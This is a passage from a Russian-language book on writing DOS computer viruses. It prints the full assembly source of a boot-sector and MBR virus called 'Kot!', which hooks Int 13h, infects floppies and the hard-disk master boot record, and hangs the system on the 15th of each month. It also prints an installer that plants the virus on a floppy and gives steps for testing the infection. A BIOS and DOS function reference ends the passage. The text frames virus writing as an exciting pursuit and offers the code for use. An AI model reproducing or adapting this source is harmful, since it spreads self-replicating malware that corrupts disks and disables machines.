  6446.     Фактически вирус уже изготовлен.Осталось лишь при-
  6447.     вести тексты процедур, которые он будет  использо-
  6448.     вать в своей работе :
  6449.  
  6450.     read_mbr   proc                   ;
  6451.                xor dh,dh              ;
  6452.                mov ax,0201h           ;Процедура
  6453.                mov bx,400h            ;читает первый
  6454.                mov cx,01h             ;сектор нулевой
  6455.                pushf                  ;дорожки нулевой
  6456.     call dword ptr old_13h - 100h     ;стороны указан-
  6457.                ret                    ;ного накопителя
  6458.     read_mbr   endp                   ;
  6459.                                       ;
  6460.     write_mbr proc                    ;
  6461.                mov ax,0301h           ;Процедура
  6462.                mov cx,01h             ;помещает вирус-
  6463.                pushf                  ;ный код в BOOT-
  6464.     call dword ptr old_13h - 100h     ;сектор дискеты
  6465.                ret                    ;или записывает
  6466.     write_mbr  endp                   ;его вместо MBR
  6467.                                       ;винчестера
  6468.                                       ;
  6469.     write_mbr_last proc               ;Процедура
  6470.                                       ;переписывает
  6471.                                       ;исходную BOOT-
  6472.                                       ;запись или MBR
  6473.                mov num_head - 100h,dx ;в заданный
  6474.                mov cyl_sect - 100h,cx ;сектор
  6475.                mov dl,dl_save - 100h  ;заражаемого
  6476.                                       ;диска
  6477.                mov ax,0301h           ;
  6478.                pushf                  ;
  6479.     call dword ptr old_13h - 100h     ;
  6480.                ret                    ;
  6481.     write_mbr_last endp               ;
  6482.  
  6483.     Процедуры построены  очень просто, и объяснять  их
  6484.     работу, скорее всего, нет смысла. Отметим  только,
  6485.     что все вызовы Int 13h оформлены в виде вызова да-
  6486.     льней процедуры. Это необходимо для предотвращения
  6487.     потенциальных " глюков ", связанных с  нереентера-
  6488.     бельностью программ,выполняющих обработку Int 13h.
  6489.     Хотя такой метод несколько увеличивает размер  ви-
  6490.     русного кода.
  6491.  
  6492.  
  6493.                1.13 Область данных вируса
  6494.  
  6495.     В отличие  от предыдущих программ, область  данных
  6496.     написанного нами загрузочного вируса имеет на уди-
  6497.     вление простую структуру :
  6498.                                       ;
  6499.                db   'Kot!'            ;Название вируса
  6500.     dl_save    db   0                 ;Ячейка для вре-
  6501.                                       ;менного хране-
  6502.                                       ;ния регистра DL
  6503.                                       ;( он задает
  6504.                                       ;номер накопите-
  6505.                                       ;ля )
  6506.     num_head   dw   0                 ;Здесь вирус
  6507.     cyl_sect   dw   0                 ;хранит номер
  6508.                                       ;головки,дорожки
  6509.                                       ;и сектора зара-
  6510.                                       ;женного диска ,
  6511.                                       ;на которых за-
  6512.                                       ;писана настоя-
  6513.                                       ;щая загрузочная
  6514.                                       ;запись
  6515.     vvv        dw   004ch             ;Смещение к век-
  6516.                                       ;тору Int 13h
  6517.                                       ;Длина вирусного
  6518.                                       ;кода :
  6519.                prg_lenght   equ   $ - my_prg
  6520.  
  6521.     Вы можете спросить,почему для имени вируса отведе-
  6522.     но всего четыре байта.Дело в том,что наш вирус по-
  6523.     лучился довольно большим (421 байт - можете прове-
  6524.     рить !). Несколько  раньше мы  выяснили,  что этот
  6525.     размер  не  может  быть  больше, чем  425  байт. А
  6526.     425 - 421 как раз равно четырем ...
  6527.  
  6528.  
  6529.               1.14 Пишем секцию инсталляции
  6530.  
  6531.     Очевидно, в таком виде, в каком сейчас  существует
  6532.     наш вирус, его довольно трудно внедрить в систему.
  6533.     Поэтому для облегчения этой  "вредительской"  опе-
  6534.     рации напишем специальный инсталлятор. Его функция
  6535.     состоит в следующем : при старте запускающей  про-
  6536.     граммы из  командной строки или из - под  оболочки
  6537.     заразить диск в дисководе " A ".Причем диск совсем
  6538.     не  обязательно  должен быть  загрузочным. Далее с
  6539.     этого диска  нужно загрузиться на  той машине, ко-
  6540.     торую требуется  заразить. При  этом вирус заразит
  6541.     MBR  ее жесткого диска. Теперь,  после  загрузки с
  6542.     винчестера, вирус  будет инфицировать все читаемые
  6543.     на зараженной  машине дискеты  и  начнет распрост-
  6544.     раняться.
  6545.     Исходя из сказанного выше, можно предложить  такое
  6546.     решение :
  6547.  
  6548.     installer: lea si,my_prg          ;Подменим коман-
  6549.                mov byte ptr [si],33h  ;ду перехода на
  6550.     mov byte ptr [si + 1],0c0h        ;первые три бай-
  6551.     mov byte ptr [si + 2],8eh         ;та кода вируса
  6552.                                       ;Попробуем про-
  6553.                                       ;честь BOOT -
  6554.                                       ;сектор дискеты.
  6555.                mov ax,0201h           ;
  6556.                mov cx,01h             ;
  6557.                xor dx,dx              ;
  6558.                lea bx,bufer           ;
  6559.                int 13h                ;
  6560.                jc error               ;
  6561.                                       ;
  6562.                push es                ;Получим пара-
  6563.                mov ah,08h             ;метры дискеты
  6564.                xor dl,dl              ;
  6565.                int 13h                ;
  6566.                jnc all_good           ;
  6567.                cmp ah,01h             ;
  6568.                jne error              ;
  6569.                mov dh,01h             ;
  6570.                mov ch,27h             ;
  6571.     mov cl,byte ptr bufer [18h]       ;
  6572.     all_good:  xor dl,dl              ;
  6573.                mov num_head,dx        ;
  6574.                mov cyl_sect,cx        ;
  6575.                pop es                 ;
  6576.                                       ;Перепишем нас-
  6577.                                       ;тоящий BOOT в
  6578.                                       ;последний сек-
  6579.                                       ;тор последней
  6580.                                       ;дорожки на пос-
  6581.                                       ;ледней стороне
  6582.                mov ax,0301h           ;
  6583.                lea bx,bufer           ;
  6584.                int 13h                ;
  6585.                jc error               ;
  6586.                                       ;Сформируем код,
  6587.                                       ;который нужно
  6588.                                       ;записать на
  6589.                                       ;дискету вместо
  6590.                                       ;исходной BOOT -
  6591.                                       ;записи
  6592.                mov additor,055h       ;
  6593.                lea si,bufer + 55h     ;
  6594.                lea di,my_prg          ;
  6595.                mov cx,prg_lenght      ;
  6596.     copy_boot: mov al,byte ptr [di]   ;
  6597.                mov byte ptr [si],al   ;
  6598.                inc si                 ;
  6599.                inc di                 ;
  6600.                loop copy_boot         ;
  6601.     mov word ptr bufer[0],053ebh      ;
  6602.                                       ;И запишем его
  6603.                                       ;в первый
  6604.                                       ;сектор нулевой
  6605.                                       ;дорожки нулевой
  6606.                                       ;стороны дискеты
  6607.                mov ax,0301h           ;
  6608.                mov cx,01h             ;
  6609.                mov dx,0               ;
  6610.                lea bx,bufer           ;
  6611.                int 13h                ;
  6612.                jnc prg_end            ;
  6613.                                       ;
  6614.     error:     mov ah,09h             ;Если была оши-
  6615.                lea dx,err_mes         ;бка - выведем
  6616.                int 21h                ;сообщение о ней
  6617.                                       ;
  6618.     prg_end:   mov ax,4c00h           ;Завершаем за-
  6619.                int 21h                ;пускающую про-
  6620.                                       ;грамму
  6621.     err_mes    db   'Error !$'        ;Сообщение
  6622.     bufer      db   512 dup ( 0 )     ;В этот буфер
  6623.                                       ;считывается
  6624.                                       ;BOOT - сектор
  6625.                                       ;заражаемой
  6626.                                       ;дискеты
  6627.     prg ends                          ;
  6628.     end my_prg                        ;
  6629.  
  6630.     Если вирусу не удалось заразить диск, то  выдается
  6631.     сообщение " ERROR ! ". В этом случае попытку зара-
  6632.     жения просто нужно повторить.
  6633.     И еще - если вы хотите узнать, зачем  понадобились
  6634.     первые  четыре команды  инсталлятора, вам  следует
  6635.     посмотреть  приводимый ниже полный текст  вирусной
  6636.     программы. Обратите  внимание на первую команду, а
  6637.     именно : " jmp installer ".Инсталлятор замещает ее
  6638.     кодом, устанавливающим собственный стек  вируса, и
  6639.     поэтому в  заражаемые сектора эта  команда не  по-
  6640.     падет.
  6641.  
  6642.  
  6643.               1.15 Текст загрузочного вируса
  6644.  
  6645.     Ниже представлен текст предлагаемого  загрузочного
  6646.     вируса :
  6647.  
  6648.     ; _______________________________________________
  6649.     ;|                                               |
  6650.     ;| BOOT & MBR virus                              |
  6651.     ;| Especially for my readers !                   |
  6652.     ;|_______________________________________________|
  6653.  
  6654.     prg segment
  6655.        assume cs:prg,ds:prg,es:prg,ss:prg
  6656.           org 100h
  6657.  
  6658.     my_prg:    jmp installer          ;
  6659.                db 0d0h                ;
  6660.                mov sp,7bfeh           ;Установка собс-
  6661.                                       ;твенного стека
  6662.                push ax                ;Сохраним в сте-
  6663.                push bx                ;ке используемые
  6664.                push cx                ;регистры
  6665.                push dx                ;
  6666.                push si                ;
  6667.                push ds                ;
  6668.                push es                ;
  6669.                pushf                  ;
  6670.                                       ;
  6671.                push cs                ;DS = CS
  6672.                pop ds                 ;
  6673.                                       ;
  6674.     sub word ptr ds:[0413h],2         ;"Отрежем" у DOS
  6675.                mov ax,ds:[0413h]      ;два килобайта
  6676.                mov cl,6               ;памяти и вычис-
  6677.                                       ;лим
  6678.                sal ax,cl              ;сегментный ад-
  6679.                                       ;рес,по которому
  6680.                                       ;находится полу-
  6681.                                       ;ченный блок
  6682.                mov es,ax              ;Поместим адрес
  6683.                                       ;в ES
  6684.                xor si,si              ;И скопируем код
  6685.                mov cx,prg_lenght      ;вируса длиной
  6686.     prg_copy:  db 8ah                 ;"prg_lenght" в
  6687.                db 9ch                 ;память по адре-
  6688.     additor    db 00h                 ;су ES : 0000h
  6689.                db 7ch                 ;Сам код при за-
  6690.                mov byte ptr es:[si],bl;грузке помещае-
  6691.                inc si                 ;тся BIOS по ад-
  6692.                loop cs:prg_copy       ;ресу 0000:7C00h
  6693.                                       ;
  6694.                push ax                ;Запишем в стек
  6695.                mov ax,to_read_boot    ;адрес ES:to_re-
  6696.                push ax                ;ad_boot и осу-
  6697.                db 0cbh                ;ществим переход
  6698.                                       ;на этот адрес
  6699.     to_read_boot   equ   $ - my_prg   ;
  6700.                                       ;
  6701.     read_boot: push cs                ;DS = CS
  6702.                pop ds                 ;
  6703.                                       ;
  6704.                xor si,si              ;SI = 0
  6705.                mov es,si              ;ES = SI
  6706.                                       ;Получим вектор
  6707.                                       ;Int 13h и сох-
  6708.                                       ;раним его :
  6709.     mov bx,word ptr es:[4ch]          ;
  6710.     mov word ptr old_13h - 100h,bx    ;
  6711.     mov bx,word ptr es:[4eh]          ;
  6712.     mov word ptr old_13h_2 - 100h,bx  ;
  6713.                                       ;
  6714.                mov si,vvv - 100h      ;
  6715.     mov word ptr es:[si],to_new_13h   ;И установим
  6716.     mov word ptr es:[si + 2],cs       ;вектор Int 13h
  6717.                                       ;на вирусный об-
  6718.                                       ;работчик
  6719.                                       ;
  6720.                mov dx,num_head - 100h ;Считаем настоя-
  6721.                mov cx,cyl_sect - 100h ;щий загрузочный
  6722.                mov bx,7c00h           ;сектор в память
  6723.                mov ax,0201h           ;по адресу
  6724.                int 13h                ;0000:7C00h
  6725.  
  6726.                push cs                ;ES = CS
  6727.                pop es                 ;
  6728.                                       ;
  6729.                mov dl,0080h           ;Считаем MBR
  6730.                call cs:read_mbr       ;винчестера
  6731.                jc cs:to_quit          ;по адресу
  6732.                                       ;CS:0400h, при-
  6733.                                       ;чем загрузка
  6734.                                       ;сейчас может
  6735.                                       ;производиться
  6736.                                       ;и с дискеты !
  6737.     cmp byte ptr ds:[400h],33h        ;MBR уже зара-
  6738.                je cs:to_quit          ;жена ?
  6739.                                       ;
  6740.                mov dx,0080h           ;Нулевая головка
  6741.                                       ;первого жестко-
  6742.                                       ;го диска
  6743.                mov cx,000ch           ;Сектор 12,
  6744.                                       ;дорожка 0
  6745.                mov dl_save - 100h,dl  ;
  6746.                                       ;Сохраним эти
  6747.                                       ;параметры .
  6748.                call cs:write_mbr_last ;Кроме того,
  6749.                                       ;перепишем нас-
  6750.                                       ;тоящую MBR в
  6751.                                       ;сектор 12
  6752.                jc cs:to_quit          ;нулевой дорожки
  6753.                                       ;на нулевой сто-
  6754.                                       ;роне HDD .
  6755.                xor si,si              ;Сформируем код
  6756.                mov additor - 100h,00h ;для записи его
  6757.                mov cx,prg_lenght      ;
  6758.     copy_vir_mbr:                     ;на место исход-
  6759.                mov al,byte ptr ds:[si];ной MBR
  6760.     mov byte ptr ds:[si + 400h],al    ;
  6761.                inc si                 ;
  6762.                loop cs:copy_vir_mbr   ;
  6763.                                       ;
  6764.                mov dx,0080h           ;Запишем этот
  6765.                call cs:write_mbr      ;код в первый
  6766.                                       ;сектор нулевой
  6767.                                       ;дорожки нулевой
  6768.                                       ;стороны винчес-
  6769.                                       ;тера
  6770.     to_quit:   mov ah,04h             ;Наш
  6771.                int 1ah                ;вирус при
  6772.                jc cs:bad_clock        ;загрузке по
  6773.                cmp dl,15h             ;15 - м числам
  6774.     vis:       je cs:vis              ;вешает систему
  6775.     bad_clock: popf                   ;Восстановим из
  6776.                pop es                 ;стека
  6777.                pop ds                 ;регистры
  6778.                pop si                 ;
  6779.                pop dx                 ;
  6780.                pop cx                 ;
  6781.                pop bx                 ;
  6782.                pop ax                 ;
  6783.                                       ;
  6784.                db   0eah              ;И отдадим упра-
  6785.                dw   7c00h             ;вление настоя-
  6786.                dw   0000h             ;щей загрузочной
  6787.                                       ;записи ( MBR )
  6788.  
  6789.                                       ;Далее следует
  6790.                                       ;вирусный обра-
  6791.                                       ;ботчик Int 13h
  6792.     to_new_13h equ   $ - my_prg       ;
  6793.                                       ;
  6794.     new_13h:   pushf                  ;Сохраним флаги
  6795.                cmp dl,01h             ;Операция с дис-
  6796.                                       ;ководом " A "
  6797.                                       ;или " B " ?
  6798.                ja cs:to_sys_13h       ;Нет !
  6799.                cmp ah,02h             ;Чтение ?
  6800.                jne cs:to_sys_13h      ;Нет !
  6801.                cmp ch,00h             ;Дорожка " 0 " ?
  6802.                jne cs:to_sys_13h      ;Нет !
  6803.                cmp cl,01h             ;Сектор-первый ?
  6804.                je cs:to_sys_13h       ;Да !
  6805.                call cs:boot_infect    ;Вызовем проце-
  6806.                                       ;дуру заражения
  6807.                                       ;BOOT - секторов
  6808.                                       ;дискет
  6809.     to_sys_13h:                       ;
  6810.                popf                   ;Восстановим
  6811.                                       ;флаги
  6812.                db 0eah                ;Перейдем к сис-
  6813.     old_13h    dw 0                   ;темному обра-
  6814.     old_13h_2  dw 0                   ;ботчику Int 13h
  6815.  
  6816.     boot_infect proc                  ;
  6817.                push ax                ;Сохраним реги-
  6818.                push bx                ;стры в стеке
  6819.                push cx                ;прерванного
  6820.                push dx                ;процесса
  6821.                push di                ;
  6822.                push ds                ;
  6823.                push es                ;
  6824.                pushf                  ;
  6825.                                       ;
  6826.                push cs                ;ES = CS
  6827.                pop es                 ;
  6828.                                       ;
  6829.                push cs                ;DS = CS
  6830.                pop ds                 ;
  6831.                                       ;
  6832.                mov cx,3               ;Попробуем про-
  6833.     next_read: push cx                ;честь BOOT -
  6834.                                       ;сектор дискеты.
  6835.                call cs:read_mbr       ;На это даем три
  6836.                pop cx                 ;попытки (напри-
  6837.                jnc cs:inf_check       ;мер,если двига-
  6838.                                       ;тель дисковода
  6839.                                       ;не успел разо-
  6840.                                       ;гнаться до ра-
  6841.                                       ;бочей скорости,
  6842.                                       ;то BIOS вернет
  6843.                                       ;ошибку -дискета
  6844.                                       ;сменена ! )
  6845.                xor ah,ah              ;При ошибке -
  6846.                pushf                  ;сбросим текущий
  6847.     call dword ptr old_13h - 100h     ;дисковод
  6848.                jc cs:to_jump          ;и повторим
  6849.                loop cs:next_read      ;чтение
  6850.     to_jump:   jmp cs:restore_regs    ;
  6851.                                       ;BOOT - сектор
  6852.                                       ;заражен ?
  6853.     inf_check: cmp byte ptr ds:[455h],33h
  6854.                je cs:to_jump          ;Да !
  6855.     cmp word ptr ds:[40bh],200h       ;512 байт в
  6856.                                       ;секторе ?
  6857.                jne cs:to_jump         ;Нет !
  6858.                                       ;
  6859.                mov dl_save - 100h,dl
  6860.                mov ch,79              ;Определим
  6861.                mov dh,byte ptr ds:[415h]
  6862.                cmp dh,0f0h            ;параметры
  6863.                je cs:real_80          ;дискеты
  6864.                cmp dh,0f9h            ;по ее
  6865.                je cs:real_80          ;Media
  6866.                cmp dh,0fdh            ;Descryptor
  6867.                jne cs:to_jump         ;
  6868.                mov ch,39              ;
  6869.     real_80:   mov dh,01h             ;
  6870.                mov cl,byte ptr ds:[418h]
  6871.  
  6872.                                       ;Перепишем нас-
  6873.                                       ;тоящий BOOT в
  6874.                                       ;последний сек-
  6875.                                       ;тор последней
  6876.                                       ;дорожки на пос-
  6877.                                       ;ледней стороне
  6878.                xor dl,dl              ;
  6879.                call cs:write_mbr_last ;
  6880.                jc cs:to_jump          ;
  6881.                                       ;
  6882.                mov additor - 100h,055h;Сформируем код,
  6883.                xor di,di              ;который нужно
  6884.                mov cx,prg_lenght      ;записать на
  6885.     copy_vir:  mov al,byte ptr ds:[di];дискету вместо
  6886.     mov byte ptr ds:[di + 455h],al    ;исходной BOOT -
  6887.                inc di                 ;записи
  6888.                loop cs:copy_vir       ;
  6889.     mov word ptr ds:[400h],053ebh     ;
  6890.                                       ;
  6891.                xor dh,dh              ;И запишем его
  6892.                call cs:write_mbr      ;в первый
  6893.                                       ;сектор нулевой
  6894.                                       ;дорожки нулевой
  6895.                                       ;стороны дискеты
  6896.                                       ;
  6897.     restore_regs:                     ;Восстановим из
  6898.                popf                   ;стека регистры
  6899.                pop es                 ;
  6900.                pop ds                 ;
  6901.                pop di                 ;
  6902.                pop dx                 ;
  6903.                pop cx                 ;
  6904.                pop bx                 ;
  6905.                pop ax                 ;
  6906.                ret                    ;Выйдем из про-
  6907.                                       ;цедуры
  6908.     boot_infect endp                  ;
  6909.  
  6910.     read_mbr   proc                   ;
  6911.                xor dh,dh              ;
  6912.                mov ax,0201h           ;Процедура
  6913.                mov bx,400h            ;читает первый
  6914.                mov cx,01h             ;сектор нулевой
  6915.                pushf                  ;дорожки нулевой
  6916.     call dword ptr old_13h - 100h     ;стороны указан-
  6917.                ret                    ;ного накопителя
  6918.     read_mbr   endp                   ;
  6919.                                       ;
  6920.     write_mbr proc                    ;
  6921.                mov ax,0301h           ;Процедура
  6922.                mov cx,01h             ;помещает вирус-
  6923.                pushf                  ;ный код в BOOT-
  6924.     call dword ptr old_13h - 100h     ;сектор дискеты
  6925.                ret                    ;или записывает
  6926.     write_mbr  endp                   ;его вместо MBR
  6927.                                       ;винчестера
  6928.                                       ;
  6929.     write_mbr_last proc               ;Процедура
  6930.                                       ;переписывает
  6931.                                       ;исходную BOOT-
  6932.                                       ;запись или MBR
  6933.                mov num_head - 100h,dx ;в заданный
  6934.                mov cyl_sect - 100h,cx ;сектор зара-
  6935.                mov dl,dl_save - 100h  ;жаемого
  6936.                                       ;диска
  6937.                mov ax,0301h           ;
  6938.                pushf                  ;
  6939.     call dword ptr old_13h - 100h     ;
  6940.                ret                    ;
  6941.     write_mbr_last endp               ;
  6942.  
  6943.                db   'Kot!'            ;Название вируса
  6944.     dl_save    db   0                 ;Ячейка для вре-
  6945.                                       ;менного хране-
  6946.                                       ;ния регистра DL
  6947.                                       ;( Он задает
  6948.                                       ;номер
  6949.                                       ;накопителя )
  6950.     num_head   dw   0                 ;Здесь вирус
  6951.     cyl_sect   dw   0                 ;хранит номер
  6952.                                       ;головки,дорожки
  6953.                                       ;и сектора , в
  6954.                                       ;которых запи-
  6955.                                       ;сана настоящая
  6956.                                       ;загрузочная
  6957.                                       ;запись
  6958.                                       ;зараженного
  6959.                                       ;диска
  6960.     vvv        dw   004ch             ;Смещение к век-
  6961.                                       ;тору Int 13h
  6962.                                       ;Длина вирусного
  6963.                                       ;кода :
  6964.                prg_lenght   equ   $ - my_prg
  6965.  
  6966.     installer: lea si,my_prg          ;Подменим коман-
  6967.                mov byte ptr [si],33h  ;ду перехода на
  6968.     mov byte ptr [si + 1],0c0h        ;первые три бай-
  6969.     mov byte ptr [si + 2],8eh         ;та кода вируса
  6970.                                       ;Попробуем про-
  6971.                                       ;честь
  6972.                                       ;BOOT -
  6973.                                       ;сектор дискеты.
  6974.                mov ax,0201h           ;
  6975.                mov cx,01h             ;
  6976.                xor dx,dx              ;
  6977.                lea bx,bufer           ;
  6978.                int 13h                ;
  6979.                jc error               ;
  6980.                                       ;
  6981.                push es                ;Получим пара-
  6982.                mov ah,08h             ;метры дискеты
  6983.                xor dl,dl              ;
  6984.                int 13h                ;
  6985.                jnc all_good           ;
  6986.                cmp ah,01h             ;
  6987.                jne error              ;
  6988.                mov dh,01h             ;
  6989.                mov ch,27h             ;
  6990.     mov cl,byte ptr bufer [18h]       ;
  6991.     all_good:  xor dl,dl              ;
  6992.                mov num_head,dx        ;
  6993.                mov cyl_sect,cx        ;
  6994.                pop es                 ;
  6995.                                       ;Перепишем нас-
  6996.                                       ;тоящий BOOT в
  6997.                                       ;последний сек-
  6998.                                       ;тор последней
  6999.                                       ;дорожки на пос-
  7000.                                       ;ледней стороне
  7001.                mov ax,0301h           ;
  7002.                lea bx,bufer           ;
  7003.                int 13h                ;
  7004.                jc error               ;
  7005.                                       ;Сформируем код,
  7006.                                       ;который нужно
  7007.                                       ;записать на
  7008.                                       ;дискету вместо
  7009.                                       ;исходной BOOT -
  7010.                                       ;записи
  7011.                mov additor,055h       ;
  7012.                lea si,bufer + 55h     ;
  7013.                lea di,my_prg          ;
  7014.                mov cx,prg_lenght      ;
  7015.     copy_boot: mov al,byte ptr [di]   ;
  7016.                mov byte ptr [si],al   ;
  7017.                inc si                 ;
  7018.                inc di                 ;
  7019.                loop copy_boot         ;
  7020.     mov word ptr bufer[0],053ebh      ;
  7021.                                       ;И запишем его
  7022.                                       ;в первый
  7023.                                       ;сектор нулевой
  7024.                                       ;дорожки нулевой
  7025.                                       ;стороны дискеты
  7026.                mov ax,0301h           ;
  7027.                mov cx,01h             ;
  7028.                mov dx,0               ;
  7029.                lea bx,bufer           ;
  7030.                int 13h                ;
  7031.                jnc prg_end            ;
  7032.                                       ;
  7033.     error:     mov ah,09h             ;Если была оши-
  7034.                lea dx,err_mes         ;бка - выведем
  7035.                int 21h                ;сообщение о ней
  7036.                                       ;
  7037.     prg_end:   mov ax,4c00h           ;Завершаем за-
  7038.                int 21h                ;пускающую про-
  7039.                                       ;грамму
  7040.     err_mes    db   'Error !$'        ;Сообщение
  7041.     bufer      db   512 dup ( 0 )     ;В этот буфер
  7042.                                       ;считывается
  7043.                                       ;BOOT - сектор
  7044.                                       ;заражаемой
  7045.                                       ;дискеты
  7046.     prg ends                          ;Стандартное
  7047.     end my_prg                        ;окончание ASM-
  7048.                                       ;программы ...
  7049.  
  7050.                      1.16 Комментарии
  7051.  
  7052.     Вирус,который мы разработали в этой главе, заража-
  7053.     ет BOOT - сектора дискет и MBR жесткого диска. Как
  7054.     вы  убедились, написать  загрузочный вирус  совсем
  7055.     несложно - гораздо легче,чем, скажем, файловый.Тем
  7056.     не менее я настоятельно рекомендую  читателям  по-
  7057.     пробовать " поймать " один из существующих  загру-
  7058.     зочных вирусов и исследовать его работу. Для начи-
  7059.     нающих можно порекомендовать FORM или KONSTANTIN .
  7060.     Если же вы достаточно опытный вирусолог, то можете
  7061.     помериться силами с ONEHALF или другим шифрованным
  7062.     вирусом. Правда  учтите, что экспериментировать  с
  7063.     чужими вирусными программами  надо осторожно - не-
  7064.     которые из них при трассировке вирусного кода  мо-
  7065.     гут испортить " винчестер " вашего компьютера.
  7066.  
  7067.  
  7068.                    1.17 Испытание вируса
  7069.  
  7070.     Для проверки в действии загрузочного вируса доста-
  7071.     точно загрузиться с зараженного магнитного  диска.
  7072.     Понаблюдайте, как вирус заражает дискеты и в каких
  7073.     случаях. Попробуйте найти в памяти вирусный код, а
  7074.     найдя - пройдите его отладчиком.
  7075.     Перед  проведением  экспериментов  с  предложенной
  7076.     программой обязательно скопируйте оригинальную MBR
  7077.     жесткого диска  в отдельный файл на  дискете. Если
  7078.     этого не сделать, вы  рискуете потерять данные  на
  7079.     винчестере.
  7080.     Все проверки вирусной программы рекомендуется про-
  7081.     водить  с помощью  программы  DISKEDIT, желательно
  7082.     одной из последних версий. С помощью этой же прог-
  7083.     раммы можно " вылечить " зараженный диск, если ви-
  7084.     рус вам " надоест ".
  7085.  
  7086.  
  7087.                         ЗАКЛЮЧЕНИЕ
  7088.  
  7089.     Эта книга  задумывалась и писалась лишь для того,
  7090.     чтобы приоткрыть завесу таинственности и секретно-
  7091.     сти, которой  окутана почти не овещаемая в литера-
  7092.     туре тема  компьютерных вирусов . Автор  ни в коем
  7093.     случае не ставил своей целью обучить пользователей
  7094.     ЭВМ разработке всевозможных "вредных"  программных
  7095.     средств, а просто хотел поделиться своими знаниями
  7096.     и результатами экспериментов с широкой  обществен-
  7097.     ностью .Наверняка найдется немало людей -  специа-
  7098.     листов и любителей,которых интересует затронутая в
  7099.     данной работе тема .И если кто - то из них пожела-
  7100.     ет ознакомиться с предлагаемой книгой, я буду счи-
  7101.     тать, что потратил время не зря .Разработка дейст-
  7102.     вующих компьютерных вирусов - захватывающее и сло-
  7103.     жное дело, требующее немалого опыта и определенной
  7104.     теоретической базы .Надеюсь, эта книга сможет ока-
  7105.     зать вам некоторую помощь .
  7106.     К сожалению,изложение не рассчитано на начинающих,
  7107.     поэтому автору не удалось приблизить стиль книги к
  7108.     научно - популярному . Хотя это  трудно отнести  к
  7109.     недостаткам .
  7110.     До встречи !
  7111.  
  7112.  
  7113.                       ПРИЛОЖЕНИЕ 1
  7114.  
  7115.        Краткий справочник по функциям MS DOS и BIOS
  7116.  
  7117.      *
  7118.       Справочные  материалы по  функциям MS DOS и BIOS
  7119.       с  незначительными  изменениями  заимствованы из
  7120.       [1], за  что автор приносит К.Г.Финогенову  свои
  7121.       извинения.
  7122.  
  7123.     --------------------------------------------------
  7124.  
  7125.     Функция 09h - Вывод строки на экран.Последним сим-
  7126.     волом строки должен быть " $ "" . "
  7127.     При ошибке :
  7128.               CF = 1
  7129.               AX = код ошибки .
  7130.  
  7131.     Функция 4Fh - Поиск следующего файла .Почти всегда
  7132.     используется в паре с предыдущей функцией и  вызы-
  7133.     вается после того, как был найден первый файл .
  7134.     Вызов :   AH = 4Fh
  7135.     Возврат : имя  найденного  файла и его  расширение
  7136.     записывается в DTA в байты 1Eh - 2Ah .За последним
  7137.     символом расширения всегда следует точка : " . "
  7138.     При ошибке :
  7139.               CF = 1
  7140.               AX = код ошибки .
  7141.  
  7142.     Мультиплексное прерывание INT 2Fh.Используется для
  7143.     организации взаимодействия резидентных программ  с
  7144.     системой и друг с другом.Для программиста зарезер-
  7145.     вированы функции : C0h - FFh .
  7146.     Вызов :   AH = 2Fh
  7147.               AL = подфункция
  7148.     Возврат : AL = 0 - программа не  установлена  и ее
  7149.               можно установить
  7150.               AL = 1 - программа не  установлена  и ее
  7151.               нельзя установить
  7152.               AL = 0FFh - программа уже установлена .
  7153.     При ошибке :
  7154.               CF = 1
  7155.               AX = код ошибки .
  7156.  
  7157.     --------------------------------------------------
  7158.  
  7159.     Прерывание INT 13h,  функция 02h - чтение сектора.
  7160.     Считывает один или несколько определенных  пользо-
  7161.     вателем  секторов  физического диска в  выделенный
  7162.     буфер.Для начального сектора указываются такие ко-
  7163.     ординаты : дорожка,сектор, головка .Секторы на до-
  7164.     рожке  нумеруются  от единицы,  дорожки и  головки
  7165.     нумеруются от нуля .
  7166.     Вызов :   AH = 02h
  7167.               AL = количество читаемых секторов
  7168.               CH = дорожка
  7169.               CL = начальный сектор
  7170.               DH = головка
  7171.               DL = дисковод ( 00h - 07Fh - для дискет-
  7172.                    ного   дисковода,  80h - 0FFh - для
  7173.                    " винчестера " .
  7174.               ES : BX = адрес буфера, в который  будет
  7175.                         читаться информация из
  7176.                         секторов
  7177.     Возврат : CF = 0
  7178.               AH = 0
  7179.               AL = количество прочитанных секторов
  7180.     При ошибке :
  7181.               CF = 1
  7182.               AH = байт состояния .
  7183.  
  7184.      *
  7185.       Биты регистра CX 5...0 определяют номер сектора,
  7186.       а биты 15...6 - номер дорожки !!!
  7187.       Это выглядит так :
  7188.  
  7189.        ____________________________________________
  7190.       | Номер бита |15 |14 |13 |12 |11 |10 | 9 | 8 |
  7191.       |------------|---|---|---|---|---|---|---|---|
  7192.       | Содержимое |   |   |   |   |   |   |   |   |
  7193.       |    бита    |c  |c  |c  |c  |c  |c  |c  |c  |
  7194.       |____________|___|___|___|___|___|___|___|___|
  7195.  
  7196.        ____________________________________________
  7197.       | Номер бита | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
  7198.       |------------|---|---|---|---|---|---|---|---|
  7199.       | Содержимое |   |   |   |   |   |   |   |   |
  7200.       |    бита    |C  |c  |S  |s  |s  |s  |s  |s  |
  7201.       |____________|___|___|___|___|___|___|___|___|
  7202.  
  7203.       Буква " C " или " c " означает, что  бит  при-
  7204.       надлежит номеру дорожки;
  7205.       Буква " S " или " s " означает, что  бит  при-
  7206.       надлежит номеру сектора.
  7207.  
  7208.       Таким образом, биты "7" и "6" являются старши-
  7209.       ми битами номера дорожки, а биты "5" и "4" яв-
  7210.       ляются старшими битами номера сектора.
  7211.  
  7212.     Прерывание INT 13h,  функция 03h - запись сектора.
  7213.     Записывает один или несколько определенных пользо-
  7214.     вателем секторов на физический диск .Для начально-
  7215.     го сектора указываются такие координаты : дорожка,
  7216.     сектор, головка .Секторы на дорожке нумеруются  от
  7217.     единицы, дорожки и головки нумеруются от нуля .
  7218.     Вызов :   AH = 03h
  7219.               AL = количество записываемых секторов
  7220.               CH = дорожка
  7221.               CL = начальный сектор
  7222.               DH = головка
  7223.               DL = дисковод ( 00h - 07Fh - для дискет-
  7224.                    ного   дисковода,  80h - 0FFh - для
  7225.                    " винчестера " .
  7226.               ES : BX = адрес буфера,информация из ко-
  7227.                         торого будет записываться
  7228.                         в сектора
  7229.     Возврат : CF = 0
  7230.               AH = 0
  7231.               AL = количество записанных секторов
  7232.     При ошибке :
  7233.               CF = 1
  7234.               AH = байт состояния .
  7235.  
  7236.      *
  7237.       Биты регистра CX 5...0 определяют номер сектора,
  7238.       а биты 15...6 - номер дорожки !!!
  7239.       ( см функцию 02h ).
  7240.  
  7241.     Прерывание INT 13h,  функция 08h - получение пара-
  7242.     метров дисковода.
  7243.     Вызов :   AH = 08h
